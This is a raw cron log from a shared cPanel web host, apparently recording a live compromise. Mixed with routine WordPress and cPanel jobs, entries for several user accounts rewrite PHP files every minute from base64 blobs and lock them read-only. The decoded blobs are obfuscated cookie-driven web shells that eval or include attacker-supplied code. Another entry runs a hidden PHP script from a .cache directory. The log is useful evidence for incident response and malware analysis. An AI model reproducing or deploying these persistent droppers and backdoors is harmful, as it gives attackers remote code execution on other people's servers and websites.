Mar  1 21:47:01 medusa CROND[11224]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:47:01 medusa CROND[11387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:47:01 medusa CROND[11388]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 21:47:01 medusa CROND[11389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:47:01 medusa CROND[11390]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:47:01 medusa CROND[11393]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:47:01 medusa CROND[11395]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:47:01 medusa CROND[11392]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 21:47:01 medusa CROND[11400]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:47:01 medusa CROND[11401]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:47:01 medusa CROND[11405]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:47:01 medusa CROND[11407]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:47:01 medusa CROND[11414]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:48:01 medusa CROND[675]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:48:01 medusa CROND[677]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:48:01 medusa CROND[678]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:48:01 medusa CROND[680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:48:01 medusa CROND[681]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:48:01 medusa CROND[682]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:48:01 medusa CROND[683]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:48:01 medusa CROND[684]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:48:01 medusa CROND[685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:48:01 medusa CROND[687]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:48:01 medusa CROND[693]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:48:01 medusa CROND[695]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:48:01 medusa CROND[701]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:49:02 medusa CROND[21291]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:49:02 medusa CROND[21292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:49:02 medusa CROND[21293]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:49:02 medusa CROND[21294]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgI